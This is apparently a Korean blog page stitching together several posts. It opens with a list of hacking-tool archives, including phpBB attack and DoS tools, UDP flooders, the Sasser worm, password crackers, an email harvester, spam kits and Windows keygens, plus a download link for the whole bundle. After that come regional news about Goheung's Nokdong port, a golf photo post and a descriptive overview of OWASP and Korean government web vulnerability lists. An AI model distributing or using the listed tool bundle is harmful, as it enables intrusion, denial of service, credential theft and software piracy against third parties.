  • phpBB_DoS.rar
  • phpbb_spammer.rar
  • phpBBAttacker.rar
  • phpBBAttacker.zip
  • phpBBcracker.rar
  • PhpBuGScan.rar
  • PHPfucker.rar
  • PhpNuke_bypass.rar
  • Ping & Nukes.rar
  • Port Listener XP.rar
  • pqwak2.zip
  • procexp.rar
  • ProMo.rar
  • ProxyPro.zip
  • Pure phpBB Email harvester.rar
  • rainbowcrack-1.2-src win-lin.zip
  • Remote Shut Down.rar
  • ResHacker.zip
  • Rocket.zip
  • rpc.zip
  • RpcScan101.zip
  • Sasser.zip
  • SendMailer.zip
  • Server 2003 Keygen.rar
  • Server Killer.rar
  • showpassv10.zip
  • sitedigger2.zip
  • smbat-win32bin-1.0.4.zip
  • SMBdie.zip
  • smbproxy-win32bin-1.0.0.zip
  • Source Checker.rar
  • source codes.rar
  • sprut.zip
  • SQLScan v1.0.rar
  • Stealth - HTTP Scanner v1.0 build 23.zip
  • super.zip
  • SuperScan4.rar
  • tftpd32.273.zip
  • thunter.zip
  • TinaSoft KILL.zip
  • traceroute.rar
  • UC.Forum Spam.rar
  • udpflood.zip
  • Ultra Dos.zip
  • USBank.rar
  • Visa Spam.zip
  • Warez Sites.rar
  • Web Cracker 2.0.rar
  • WebCracker 4.0.rar
  • whoistd.rar
  • Win XP Activator.rar
  • WindowHide.rar
  • Windows XP Corperate Keygen.rar
  • Windows XP KeyGen.rar
  • Windows XP Product Key Changer.rar
  • Windows XP Product Key Checker.rar
  • Windows XP Product Key Viewer.rar
  • WindowsAdminpasswordHack.rar
  • wwwhack.rar
  • xpass.zip
  • xplizer.rar
  • Yahoo Password.zip
  • yahooUltraCracker.rar
  • zehir.zip

다운로드 링크

http://rs246.rapidshare.com/files/80932465/G4RAIO.UH2K8G4R_www.softarchive.net.rar


원본 출처 : http://wi-fi-netz.blogspot.com/

2009/09/30 19:36 2009/09/30 19:36

고흥반도 끝자락에 위치한 녹동항은 규모는 작지만 고흥 지역경제에서 차지하는 비중은 매우 높다.

과거 녹동항은 남해연안 어업 전진기지로 수산물이 풍부해 풍요로움을 누렸다. 여기에 더해 녹동항에서 600m 떨어진 '작지만 아름다운 섬' 소록도는 고흥의 대표적 관광지로 일반인의 발길이 이어져 녹동항 주변 상권 활성화를 가져왔다.

녹동항과 지척인 소록도는 섬 전체가 한센병 환자를 위한 병원지역으로 지정돼 과거엔 외부인들의 출입이 통제됐다. 그러나 1988년부터 일반인에게 개방되면서 아름다운 풍광이 알려지기 시작했고 관광객은 녹동항을 통해 소록도를 찾게 됐다.

항구 바로 앞에 눈에 잡힐 듯 떠있는 소록도와 사시사철 풍부한 어패류가 생산된 녹동항이 고흥을 대표하는 '금싸라기 땅'이 된 이유다.

어획고가 꾸준히 늘면서 수산물 가공공장을 비롯한 어망 등 어구 판매점, 얼음공장 등 연관업체가 연이어 들어섰다. 소록도 관광객을 겨냥한 음식점, 숙박업소도 호황을 누렸다.

항구 주변 상권이 활기를 띠면서 인구도 꾸준히 늘었다. 녹동항이 포함된 고흥군 도양읍의 인구 수가 군청 등 행정기관이 밀집된 고흥읍과 어깨를 나란히 할 정도였다.

녹동항은 그러나 여느 항ㆍ포구와 마찬가지로 1980년대 이후 어획량이 급감하며 많은 어려움을 겪고 있다. 이곳에서 주로 잡히는 대표 어종은 광어, 우럭, 돔, 낙지, 갯장어 등이었지만 먼 바다의 싹쓸이 조업 및 어선 감척사업 등의 여파로 최고의 활황을 누렸던 때와 비교할 땐 어획고가 기대에 미치지 못하고 있다.

최근 고흥군 수협 위판액은 2007년 540억원에서 지난해 610억원으로 늘었다. 그러나 이는 활어 등의 어획고 증가가 아닌 물김 작황이 좋았기 때문이다.

고흥군 수협 관계자는 "꾸준한 감소세를 보이던 위판액이 최근 회복세를 보이고 있다"며 "가장 큰 원인은 양식 규모가 확대되면서 패류 생산이 늘었기 때문이다"고 말했다.

어획량이 들쭉날쭉한 고기만 잡아선 생계유지가 힘들다고 판단한 어민들이 양식장에 눈을 돌리면서 소득 창출에 나섰고, 어느정도 성과를 거두고 있는 셈이다.

외지인들의 소록도 방문 증가에 따른 관광 수입은 어패류 위판과 함께 녹동항 경제력을 지탱하는 한 축이다. 소록도에는 70세 이상인 주민 620여 명과 의료진 180여 명이 살고 있다. 하지만 소록도에는 관광객이 머물고 쉴 수 있는 시설이 전무한 상태. 녹동항이 소록도의 배후 관광단지 역할을 맡게 된 이유다.

특히 지난 3월 도양읍 녹동항과 소록도를 잇는 총 연장 3460m의 소록대교 개통으로 접근성이 크게 향상되면서 섬 주민들의 바깥 나들이가 원활해졌고, 관광객이 늘면서 항구 활성화에 대한 기대감도 커졌다.

그러나 이같은 외적인 변화가 녹동항 주변 상권에 긍정적으로 작용하진 않았다. 소록대교 개통으로 자동차를 통한 이동이 자유로워지면서 관광객들이 녹동항에 머무는 시간이 상대적으로 줄었기 때문이다. 과거 소록도를 왕래하는 유일한 교통수단이 선박일 때는 선착장 주변 횟집이나 숙박업소를 이용하는 관광객이 많았지만 지금은 소록도만 둘러보고 곧바로 다른 지역으로 이동하는 경우가 많아졌다.

녹동항 주변 상인들은 "소록대교가 개통되면서 소록도를 찾는 관광객들이 크게 늘었지만 실제 녹동항 주변 식당이나 술집, 여관 등을 찾는 이는 오히려 줄었다"며 "녹동항 상권 활성화를 위한 대책 마련이 필요하다"고 입을 모았다.

지역 대표 항구인 녹동항의 침체는 고흥 전체 지역경제에도 영향을 주고 있다. 지역에서 큰 비중을 차지했던 항구의 경제력이 흔들리면서 군청 소재지인 고흥읍의 상권도 동반 하락하는 모습을 보이고 있다.

과거 군청과 경찰서, 터미널 등이 밀집돼 유동인구가 끊이지 않았던 고흥군청 앞 주변 상가들이 영업 부진을 이유로 휴ㆍ폐업을 결정하면서 원도심 공동화 현상도 심화되고 있다.

고흥군이 원도심 활성화를 위해 행정타운 이전 등의 계획을 마련했지만 재원 마련의 어려움으로 속도를 내지 못하고 있다.

고흥군은 침체된 지역경제 활성화를 위해 녹동항 주변 환경디자인 개선 및 야간경관 조성에 나서고 있다. 지역 특성에 맞는 환경디자인과 야간경관 조명으로 녹동항이 첨단 자연, 문화와 전통이 만나는 고품격 미항으로 새롭게 자리매김할 수 있도록 한다는 것.

이와함께 군은 고흥군 도양읍 일원 91만평(일반 산업단지 64만평, 배후단지 27만평)에 '고흥 조선타운' 건립을 추진하고 있다. 중형 조선소 및 연관 기자재 업체 집적화 단지를 조성해 전통적 농어촌 지역인 고흥군이 21세기 선진 도ㆍ농 복합도시로 발전할 수 있는 강력한 성장 동력으로 만든다는 것이 군의 구상이다.

조선타운에는 조선산업 시설뿐만 아니라 교육시설과 주거시설, 병ㆍ의원 등 복지시설, 기타 각종 문화체육시설 등을 갖춘 쾌적한 배후단지가 동시에 조성돼 도양읍을 전남 동ㆍ남부권 조선산업의 신 메카로 자리잡도록 할 계획이다.

그러나 지난해부터 시작된 전 세계적인 금융위기 여파로 관련 업체들의 투자가 제대로 이뤄지지 않으면서 어려움을 겪고 있어 지역민의 기대가 충족될 지는 미지수다.

"과거 24만명에 달했던 고흥 인구가 최근엔 8만명선이 붕괴되는 등 심각한 수준에 이르렀습니다. 인구 유입과 상권 회복을 통한 지역 활성화를 위해 새로운 성장동력 마련이 시급한 시점입니다."

지난 19일 고흥읍에서 정순열 고흥군번영회장을 만났다. 정 회장은 최근 목포~광양간 고속도로 구간의 고흥 나들목(IC) 설치를 위한 범군민추진위원회(범추위) 공동대표를 맡아 타당성 용역을 이끌어내는 등 의욕적인 활동을 벌이고 있다.

'고흥을 지나는 고속도로인데 정작 고흥으로 드나들 나들목이 없다는 건 말도 안된다'는 주민들의 반발과 갈수록 쇠퇴해가는 고흥 원도심 활성화를 위해 고흥 나들목 설치는 필수라는 생각에서 추진한 일이었다.

당연한 일이라고 생각했지만 어려움도 많았다. 시행자인 한국도로공사가 고흥 나들목 예정지였던 동강면 한천 부근엔 양쪽 터널 교량이 800m에 불과해 설치가 불가능한데다 고흥지역 진ㆍ출입을 위한 벌교읍 칠동에 벌교 나들목이 설치돼 있다며 부정적인 입장을 밝혔기 때문이다.

이를 납득할 수 없었던 정 회장 등 범추위는 고흥군을 비롯해 전남도 등에 고흥 나들목 설치를 지속적으로 건의하는 한편 지역 정치인과 중앙부처를 직접 방문해 필요성을 역설했다. 범추위의 끈질긴 노력에 결국 한국도로공사는 고흥 나들목 건설을 위한 타당성 용역을 의뢰했다.

정 회장은 "고흥 발전을 위해 모든 주민들이 합심해 좋은 결과를 얻게 된 것"이라며 애써 겸손해했지만 그의 남다른 노력은 지역 내에 널리 퍼져있는 느낌이다.

고흥군번영회장으로 침체의 길을 걷고 있는 고흥에 대한 생각을 물었다.

그는 "과거 해남과 함께 전남 동ㆍ서부지역을 대표하는 중심지였던 고흥이 쇠락한 원인은 자연적인 인구 감소도 한 원인이겠지만 무엇보다 지역 발전을 위한 노력과 대안 모색에 소홀했기 때문"이라며 "이제라도 고흥읍을 중심으로 한 원도심 활성화를 비롯해 다각적인 방법을 진지하게 고민해야 한다"고 강조했다.

정 회장은 이어 "고흥군이 고흥읍에 군 청사 및 대규모 주거단지 등이 들어서는 신시가지를 조성하려는 것에 대해선 원칙적으로 찬성한다"면서 "다만 주민들과 충분한 협의를 통해 기존 청사 활용방안과 기존 상가들의 피해 최소화를 위한 노력이 먼저 이뤄져야 한다"고 밝혔다.

정 회장은 나로우주센터를 중심으로 추진되는 고흥 항공우주클러스터 조성에 대해서는 우려를 표시했다.

로켓 발사 등에 따른 주변 환경파괴와 소음 피해 등에 대한 정확한 조사없이 우주센터 부지가 선정된데다 지역민에 직접적인 경제적 효과를 기대할 수 없다는 것이 이유다.

고흥지역 활성화 방안으로는 교육여건 개선 등을 인구 유입을 첫 손에 꼽았다.

그는 "고흥지역은 청ㆍ장년층 인구 유출 및 급속한 고령화, 생산기반 미비로 가장 어려운 시기를 보내고 있다"고 진단한 뒤 "고흥읍을 중심으로 한 기존 시가지 정비와 함께 우수 학교 설립 등 교육기반 구축을 통해 살고 싶은 지역으로 탈바꿈시켜야 한다"고 밝혔다.

2009/09/30 19:20 2009/09/30 19:20

<남해안시대>-①`복합규제에 묶인 `블루오션'

연합뉴스 | 입력 2009.09.14 08:10 | 수정 2009.09.14 08:15

 



국립공원.수자원보호구역 중첩..천혜의 자연조건 불구 기반 열악
※편집자 주 = 부산과 경남, 전남을 아우르는 '남해안 시대'가 열리고 있다. 경남도가 남해안권 자치단체간 협력을 통한 상생과 국토의 균형발전을 위해 앞장 서 주창한 지 만 5년만이다.

'동ㆍ서ㆍ남해안권발전특별법'으로 법제화된 데 이어 오는 11월이며 남해안발전종합계획안이 확정돼 구체적인 실행을 위한 발판이 마련된다.

대한민국의 미래 성장동력으로 기대되고 있는 `남해안 시대'의 주창 배경과 당위성, 향후 전략을 3편에 걸쳐 소개한다.

(창원=연합뉴스) 정학구 기자 = 김대호 경남지사가 5년 전 처음 주창했을 때만 해도 막연한 구호로만 들렸던 '남해안 시대'가 이제 현실화되고 있다.

절경을 자랑하면서도 중첩된 규제에 꽁꽁 묶여 낙후된 남해안이 이제 새로운 미래를 향해 꿈틀거리고 있는 것이다.

김태호 경남지사가 부산-경남-전남을 잇는 남해안 해양경제축 개발을 공식제안한 것은 2004년 11월.

전남과 부산 정치권 등의 전폭적인 지지를 받아 '남해안발전특별법'이 발의됐고 우여곡절 끝에 '동ㆍ서ㆍ남해안권발전특별법'이란 확대된 법안의 제정으로 결실을 봤다.

남해안권 발전종합 계획안이 오는 11월께 확정되면 내년부터 개발계획과 실시설계 수립 등을 거쳐 사업이 본격화돼 2020년까지 약 26조4천억원 가량이 투입된다.

◇왜 남해안시대인가 = 김태호 지사는 대한민국의 미래 성장동력이자 새로운 시대를 여는 '블루오션'으로 남해안을 꼽았다.

남해안의 아름다운 바다와 섬을 종합적으로 개발해 해양레포츠와 크루즈, 관광, 휴양을 아우르는 '제2의 지중해'로 건설하고 연안지역을 복합경제 중심지로 키우자는 것이다.

여기엔 모든 것이 집중된 수도권에 대응하는 '제2의 성장 축'으로 남해안을 발전시켜야 장기적으로 남해안과 수도권이 지속가능한 성장을 할 수 있다는 판단도 작용했다.

프랑스가 파리에서 900㎞나 떨어진 지중해 남부 연안에 리조트와 첨단 산업단지, 임해 산업단지 등을 조성해 국가균형발전과 수도권 집중완화란 두 마리 토끼를 잡는데 성공한 것은 우리에게 시사하는 바가 크다는 것이 김 지사의 말이다.

현재 수도권은 남해안 1만2천519㎢보다 좁은 1만1천776㎢에 남해안(872만8천명)의 2.7배나 되는 2천371만1천명이 몰려 살고 있다.

경제활동 인구 역시 수도권에 49.9%가 집중돼 있는 반면 남해안에는 17.0%가 거주하고 있다.

수도권의 지역내 총생산(GRDP)도 5천373억 달러로 남해안 1천926억 달러의 2.8배나 된다.

수도권이나 국가의 미래를 위해서도 남해안을 새로운 성장 축으로 만드는 것은 불가피하다는 것이다.

◇ 남해안, 어떤 곳인가 = 남해안에는 2천460개의 크고 작은 섬들이 있고 청정해역 곳곳에 양식장이 들어서 있다.

부산에서 목포까지 직선거리는 약 250㎞에 불과하지만 꼬불꼬불한 리아스식 해안선의 총 길이는 약 1만㎞나 된다.

일조량도 가장 많아 연간 총 2천157시간이나 되며 개펄 면적은 2천550㎢로 전국 개펄의 17.3%를 차지한다.

남해안권에는 86개 산업단지가 있고 4천700여개 기업이 입주해 있으나 전체적인 산업별 비중을 보면 여전히 1차 산업이 높다.

특허출원 건수와 등록건수를 보면 남해안은 전국의 4.7%와 3.6%로 수도권의 52.6%와 55.4%에 비교도 되지 않는다.

중국의 동북 3성을 비롯해 일본 긴키, 한국 수도권 등을 포함한 동북아 10대 경제권 속에서 남해안은 인구나 GRDP 측면에서 최하위권을 맴돈다.

다행스러운 것은 신재생 에너지인 태양광과 수력발전량은 33.5%와 83.5%로 경쟁력을 보유하고 있는 등 녹색성장에 적합한 여건을 갖추고 있다는 점이다.

잠재적인 관광자원이 엄청난데 비해 기반시설은 열악하기 짝이 없다.
총 2만5천475㎞에 이르는 도로의 포장률은 전국 평균 78.3%에도 못미치고 전남과 경남은 70%를 밑돈다.

남해안 고속도로는 십수년간 상습체증에 시달리고 있고 확장공사가 이제야 진행 중이다.
고성과 통영 등 서부와 중ㆍ동부 경남을 잇는 국도들은 주말과 휴일에 차량행렬로 몸살을 앓고 있다.

철도 역시 일제시대 이후 거의 손을 대지 않아 단선(單線)으로 운행돼오다 최근 복선(復線) 전철화 공사가 진행되고 있지만 진척도는 더디다.

◇ 남해안과 복합 규제 = 남해안 자치단체들이 아름다운 풍광을 자산으로 관광개발에 나서려고 해도 해상국립공원과 수산자원보호구역, 문화재보호구역 등 중복 규제에 묶여 사실상 손을 놓고 있었다.

경남 통영ㆍ거제ㆍ사천ㆍ남해ㆍ하동 등은 한려해상국립공원(면적 546㎢)으로, 전남 여수ㆍ고흥ㆍ거문도 등은 다도해국립공원(2천321㎢)으로 각각 묶여 있다.

이 해상국립공원이 남해안에만 존재하는데다 수산자원보호구역도 10곳 가운데 9곳(6천521㎢)이 남해안에 집중돼 있다.

이 때문에 도와 각 시ㆍ군이 추진하려던 각종 개발계획은 번번이 제동이 걸렸다.
남해안이 최적의 장소인 요트산업 클러스터를 통영시 일원에 설치하려고 했지만 수산자원보호구역에 묶여 어려움을 겪었다.

거제 해금강 집단시설지구와 마산 구산해양관광단지, 사천 비토관광지 개발, 하동 선블루리조트, 통영 해전사박물관, 통영 해상케이블카 설치사업 등이 줄줄이 같은 운명을 겪었다.
2009/09/30 19:19 2009/09/30 19:19

고흥반도 끝자락에 위치한 녹동항은 규모는 작지만 고흥 지역경제에서 차지하는 비중은 매우 높다. 과거 녹동항은 남해연안 어업 전진기지로 수산물이 풍부해 풍요로움을 누렸다. 여기에 더해 녹동항에서 600m 떨어진 '작지만 아름다운 섬' 소록도는 고흥의 대표적 관광지로 일반인의 발길이 이어져 녹동항 주변 상권 활성화를 가져왔다.

녹동항과 지척인 소록도는 섬 전체가 한센병 환자를 위한 병원지역으로 지정돼 과거엔 외부인들의 출입이 통제됐다. 그러나 1988년부터 일반인에게 개방되면서 아름다운 풍광이 알려지기 시작했고 관광객은 녹동항을 통해 소록도를 찾게 됐다.

항구 바로 앞에 눈에 잡힐 듯 떠있는 소록도와 사시사철 풍부한 어패류가 생산된 녹동항이 고흥을 대표하는 '금싸라기 땅'이 된 이유다.

어획고가 꾸준히 늘면서 수산물 가공공장을 비롯한 어망 등 어구 판매점, 얼음공장 등 연관업체가 연이어 들어섰다. 소록도 관광객을 겨냥한 음식점, 숙박업소도 호황을 누렸다.

항구 주변 상권이 활기를 띠면서 인구도 꾸준히 늘었다. 녹동항이 포함된 고흥군 도양읍의 인구 수가 군청 등 행정기관이 밀집된 고흥읍과 어깨를 나란히 할 정도였다.

녹동항은 그러나 여느 항ㆍ포구와 마찬가지로 1980년대 이후 어획량이 급감하며 많은 어려움을 겪고 있다. 이곳에서 주로 잡히는 대표 어종은 광어, 우럭, 돔, 낙지, 갯장어 등이었지만 먼 바다의 싹쓸이 조업 및 어선 감척사업 등의 여파로 최고의 활황을 누렸던 때와 비교할 땐 어획고가 기대에 미치지 못하고 있다.

최근 고흥군 수협 위판액은 2007년 540억원에서 지난해 610억원으로 늘었다. 그러나 이는 활어 등의 어획고 증가가 아닌 물김 작황이 좋았기 때문이다.

고흥군 수협 관계자는 "꾸준한 감소세를 보이던 위판액이 최근 회복세를 보이고 있다"며 "가장 큰 원인은 양식 규모가 확대되면서 패류 생산이 늘었기 때문이다"고 말했다.

어획량이 들쭉날쭉한 고기만 잡아선 생계유지가 힘들다고 판단한 어민들이 양식장에 눈을 돌리면서 소득 창출에 나섰고, 어느정도 성과를 거두고 있는 셈이다.

외지인들의 소록도 방문 증가에 따른 관광 수입은 어패류 위판과 함께 녹동항 경제력을 지탱하는 한 축이다. 소록도에는 70세 이상인 주민 620여 명과 의료진 180여 명이 살고 있다. 하지만 소록도에는 관광객이 머물고 쉴 수 있는 시설이 전무한 상태. 녹동항이 소록도의 배후 관광단지 역할을 맡게 된 이유다.

특히 지난 3월 도양읍 녹동항과 소록도를 잇는 총 연장 3460m의 소록대교 개통으로 접근성이 크게 향상되면서 섬 주민들의 바깥 나들이가 원활해졌고, 관광객이 늘면서 항구 활성화에 대한 기대감도 커졌다.

그러나 이같은 외적인 변화가 녹동항 주변 상권에 긍정적으로 작용하진 않았다. 소록대교 개통으로 자동차를 통한 이동이 자유로워지면서 관광객들이 녹동항에 머무는 시간이 상대적으로 줄었기 때문이다. 과거 소록도를 왕래하는 유일한 교통수단이 선박일 때는 선착장 주변 횟집이나 숙박업소를 이용하는 관광객이 많았지만 지금은 소록도만 둘러보고 곧바로 다른 지역으로 이동하는 경우가 많아졌다.

녹동항 주변 상인들은 "소록대교가 개통되면서 소록도를 찾는 관광객들이 크게 늘었지만 실제 녹동항 주변 식당이나 술집, 여관 등을 찾는 이는 오히려 줄었다"며 "녹동항 상권 활성화를 위한 대책 마련이 필요하다"고 입을 모았다.

지역 대표 항구인 녹동항의 침체는 고흥 전체 지역경제에도 영향을 주고 있다. 지역에서 큰 비중을 차지했던 항구의 경제력이 흔들리면서 군청 소재지인 고흥읍의 상권도 동반 하락하는 모습을 보이고 있다.

과거 군청과 경찰서, 터미널 등이 밀집돼 유동인구가 끊이지 않았던 고흥군청 앞 주변 상가들이 영업 부진을 이유로 휴ㆍ폐업을 결정하면서 원도심 공동화 현상도 심화되고 있다. 고흥군이 원도심 활성화를 위해 행정타운 이전 등의 계획을 마련했지만 재원 마련의 어려움으로 속도를 내지 못하고 있다.

고흥군은 침체된 지역경제 활성화를 위해 녹동항 주변 환경디자인 개선 및 야간경관 조성에 나서고 있다. 지역 특성에 맞는 환경디자인과 야간경관 조명으로 녹동항이 첨단 자연, 문화와 전통이 만나는 고품격 미항으로 새롭게 자리매김할 수 있도록 한다는 것.

이와함께 군은 고흥군 도양읍 일원 91만평(일반 산업단지 64만평, 배후단지 27만평)에 '고흥 조선타운' 건립을 추진하고 있다. 중형 조선소 및 연관 기자재 업체 집적화 단지를 조성해 전통적 농어촌 지역인 고흥군이 21세기 선진 도ㆍ농 복합도시로 발전할 수 있는 강력한 성장 동력으로 만든다는 것이 군의 구상이다.

조선타운에는 조선산업 시설뿐만 아니라 교육시설과 주거시설, 병ㆍ의원 등 복지시설, 기타 각종 문화체육시설 등을 갖춘 쾌적한 배후단지가 동시에 조성돼 도양읍을 전남 동ㆍ남부권 조선산업의 신 메카로 자리잡도록 할 계획이다.

그러나 지난해부터 시작된 전 세계적인 금융위기 여파로 관련 업체들의 투자가 제대로 이뤄지지 않으면서 어려움을 겪고 있어 지역민의 기대가 충족될 지는 미지수다.

박성원 기자 swpark@jnilbo.com
고흥=류준석 기자 jsryu@jnilbo.com


"한때 24만 군민이 이젠 8만명도 안돼"
■ 정순열 고흥군번영회장

과거 24만명에 달했던 고흥 인구가 최근엔 8만명선이 붕괴되는 등 심각한 수준에 이르렀습니다.

인구 유입과 상권 회복을 통한 지역 활성화를 위해 새로운 성장동력 마련이 시급한 시점입니다."

지난 19일 고흥읍에서 정순열 고흥군번영회장을 만났다. 정 회장은 최근 목포~광양간 고속도로 구간의 고흥 나들목(IC) 설치를 위한 범군민추진위원회(범추위) 공동대표를 맡아 타당성 용역을 이끌어내는 등 의욕적인 활동을 벌이고 있다.

'고흥을 지나는 고속도로인데 정작 고흥으로 드나들 나들목이 없다는 건 말도 안된다'는 주민들의 반발과 갈수록 쇠퇴해가는 고흥 원도심 활성화를 위해 고흥 나들목 설치는 필수라는 생각에서 추진한 일이었다.

당연한 일이라고 생각했지만 어려움도 많았다. 시행자인 한국도로공사가 고흥 나들목 예정지였던 동강면 한천 부근엔 양쪽 터널 교량이 800m에 불과해 설치가 불가능한데다 고흥지역 진ㆍ출입을 위한 벌교읍 칠동에 벌교 나들목이 설치돼 있다며 부정적인 입장을 밝혔기 때문이다.

이를 납득할 수 없었던 정 회장 등 범추위는 고흥군을 비롯해 전남도 등에 고흥 나들목 설치를 지속적으로 건의하는 한편 지역 정치인과 중앙부처를 직접 방문해 필요성을 역설했다. 범추위의 끈질긴 노력에 결국 한국도로공사는 고흥 나들목 건설을 위한 타당성 용역을 의뢰했다.

정 회장은 "고흥 발전을 위해 모든 주민들이 합심해 좋은 결과를 얻게 된 것"이라며 애써 겸손해했지만 그의 남다른 노력은 지역 내에 널리 퍼져있는 느낌이다.

고흥군번영회장으로 침체의 길을 걷고 있는 고흥에 대한 생각을 물었다.

그는 "과거 해남과 함께 전남 동ㆍ서부지역을 대표하는 중심지였던 고흥이 쇠락한 원인은 자연적인 인구 감소도 한 원인이겠지만 무엇보다 지역 발전을 위한 노력과 대안 모색에 소홀했기 때문"이라며 "이제라도 고흥읍을 중심으로 한 원도심 활성화를 비롯해 다각적인 방법을 진지하게 고민해야 한다"고 강조했다.

정 회장은 이어 "고흥군이 고흥읍에 군 청사 및 대규모 주거단지 등이 들어서는 신시가지를 조성하려는 것에 대해선 원칙적으로 찬성한다"면서 "다만 주민들과 충분한 협의를 통해 기존 청사 활용방안과 기존 상가들의 피해 최소화를 위한 노력이 먼저 이뤄져야 한다"고 밝혔다.

정 회장은 나로우주센터를 중심으로 추진되는 고흥 항공우주클러스터 조성에 대해서는 우려를 표시했다.

로켓 발사 등에 따른 주변 환경파괴와 소음 피해 등에 대한 정확한 조사없이 우주센터 부지가 선정된데다 지역민에 직접적인 경제적 효과를 기대할 수 없다는 것이 이유다.

고흥지역 활성화 방안으로는 교육여건 개선 등을 인구 유입을 첫 손에 꼽았다.

그는 "고흥지역은 청ㆍ장년층 인구 유출 및 급속한 고령화, 생산기반 미비로 가장 어려운 시기를 보내고 있다"고 진단한 뒤 "고흥읍을 중심으로 한 기존 시가지 정비와 함께 우수 학교 설립 등 교육기반 구축을 통해 살고 싶은 지역으로 탈바꿈시켜야 한다"고 밝혔다.

2009/09/30 19:18 2009/09/30 19:18
사용자 삽입 이미지
 

in front of.......


2009/09/30 19:13 2009/09/30 19:13
친구가 디카를 가지고 와서. 찰칵 찰칵

이럴줄 알았으면 .. 요놈에 바지를 입고 가는것이 아닌데.

티업 시간이 너무 빨라서.
사용자 삽입 이미지

아마도 4홀 ?

사용자 삽입 이미지

나도 모르는 사진이 . 친구가

2002 년도에 선배안테 처음 배워서 자세가 좀 그런가 ? ㅎㅎ
2009/09/30 19:00 2009/09/30 19:00
최근 웹 애플리케이션 공격이 급증하면서 웹 방화벽과 웹 취약점에 대한 관심이 커지고 있습니다.
OWASP 10 대 위협과 국정원 8대 취약성을 인지하고 있다면,  웹 방화벽이나 취약점분석 서비스를 선택하는데에 도움이 될 것이라 생각됩니다.

 1. OWASP 10대 위협!!
1. 입력값 검증 부재
  웹 애플리케이션 서비스를 요청하기 위해 애플리케이션에 데이터를 전송할 때 HTTP를 통해 URL, 쿼리(Query), 헤더(Header), 쿠키(Cookie), HTML 폼에 대한 정보를 전송한다. 이때 이 데이터 값을 악의적으로 변경해 시스템에 피해를 가할 수 있다.

2. 취약한 접근 통제
  가장 심각한 위협은 외부에서 관리자의 접근을 허용하는 것으로 루트 권한이나, 시스템 환경 구성 관리 권한을 제공하면 이 통로를 통해 전 시스템에 대한 접근이 허용될 수 있다.

3. 취약한 인증 및 세션 관리
  인증 관련 정보를 제어하는 프로그램에 대한 통제는 상대적으로 느슨하다. 세센에 실려 다니는 정보가 유츌되 위협이 발생할 수도 있다.

4. 크로스 사이트 스크립트
  특정 사이트에서 사용자가 정보를 받을 때 그 정보 내에 악의적인 코드를 숨겨놓아 이를 클라이언트에서 실행되도록 하는 기법이다.

5. 버퍼 오버플로우
  웹 서버, 웹 애플리케이션 서버에 대한 공격 유형이다. 웹 애플리케이션 자체의 버퍼 오버플로우에 대한 공격 유형과 비슷하다.

6. 삽입 취약점
  삽입 취약점은 웹 애플리케이션이 자체 로직을 이용해 외부의 모듈을 호출하는 것이다.

7. 부적절한 에러처리
  애플리케이션 실행 도중 에러가 발생한 경우에 해당 에러의 내용을 직접 사용자 화면에 보여주는 경우가 있다. 이 정보가 자바 익스프레션 덤프(Exception Dump)라면 사용자는 애플리케이션이 어떤 계층 구조로 이뤄져 있고 어디에서 어떤 문제가 발생하는지 알 수 있으며 이를 통해 시스템에 대한 공격을 할 수 있다.

8. 취약한 정보저장 방식
  웹 애플리케이션이 데이터베이스나 파일 시스템이 민감한 정보를 저장할 필요가 있다. 이들 정보는 외부에서 접근이 허용되지 않는 내부 망에 저장되는 경우가 대부분이지만 웹 서버에 저장돼 외부 취약점이 발생하기도 한다.

9. 서비스 방해공격
서비스 방해 공격은 웹 애플리케이션의 취약점을 이용해 해당 애플리케이션이 서비스 중단 상태로 가도록 하는 것이다.

10. 부적절한 환경 설정
 서버 환경 설정에서 일반적으로 일어나는 유형은 운영팀에서 적절한 보안 패치를 하지 않았을때 발생한다.

2. 국정원 8대 홈페이지 취약성
2005년 국가사이버안전센터(NCSC)에서 국내 각 기관에서 홈페이지 해킹에 많이 악용되었던 보안취약점 8종을 선정하고 발표하였다.

1. 디렉토리 리스팅 취약점
홈페이지의 속성을 설정하는 웹사이트 등록정보에 특정 디렉토리에 대하여
- IIS 서버 : 디렉토리 검색 항목이 체크
- Apache 서버 :  httpd.conf 파일에서 Indexes옵션이 On
되어 있는 경우에 인터넷 사용자에게 모든 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람 및 저장도 가능하게 되어 비공개 자료가 유출될 수 있다.

2. 파일 다운로드 취약점

게시판 등에 저장된 자료에 대해 다운로드 스크립트를 이용하여 다운로드 기능을 제공하면서, 대상 자료파일의 위치 지정에 제한조건을 부여하지 않았을 경우에 URL칸의 다운로드 스크립트의 인수 값에 ../문자열 등을 입력하여 시스템 디렉토리 등에 있는 /etc/passwd와 같은 비공개 자료들이 유출될 수 있다.

3.
 크로스사이트 스크립트 취약점
게시판에 새 게시물을 작성하여 등록할 때와 같이 사용자의 입력을 받아 처리하는 웹 응용프로그램에서 입력 내용에 대해 실행코드인 스크립트의 태그를 적절히 필터링하지 않을 경우에 악의적인 스크립트가 포함된 게시물을 등록할 수 있어 해당 게시물을 열람하는 일반 사용자의 pc로 부터 개인정보인 쿠키를 유출할 수 있는 등의 피해를 초래할 수 있다.

4.
 파일 업로드 취약점
첨부파일 업로드를 허용하는 홈페이지 게시판에서 .php, .jsp등의 확장자 이름의 스크립트 파일의 업로드를 허용할 경우에 해커가 악성 실행 프로그램을 업로드한 후에 홈페이지 접속방식으로 원격에서 서버컴퓨터의 시스템 운영 명령어를 실행 시킬 수 있다.
 
5.WebDAV 취약점- 원격 실행
윈도우 서버 컴퓨터에서 기본으로 설치되는 원격관리기능인 WebDAV가 계속 사용 가능하도록 설정되어 있고, WebDAV 라이브러리 파일의 속성 및 홈페이지 디렉토리에 쓰기 권한이 모두 허용되어 있는 경우에 해커가 WevDAV도구를 사용, 원격에서 홈페이지 디렉토리에 임으로 파일을 삽입하여 화면을 변조할 수 있다.

6.
 테크노트(Technote) 취약점
‘테크노트’의 일부 CGI프로그램들에서 인수 값 처리시에 ‘ㅣ’문자 이후에 나오는 컴퓨터 운영 명령어가 실행될 수 있는 결함이 있어 해커는 홈페이지접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix계열의 컴퓨터에 주로 사용
- Windows 계열에서 ‘Perl’이 지원될 경우 사용

7.
 제로보드(Zeroboard) 취약점
-
 ‘제로보드’의 일부 php프로그램이 원격에 있는 php파일을 실행할 수 있는 결함이 있어 해커는 홈페이지 접속 방식으로 컴퓨터 명령어를 실행하여 화면을 변조하거나 컴퓨터를 조작할 수 있다.
- Linux 및 Unix 계열의 컴퓨터에 주로 사용
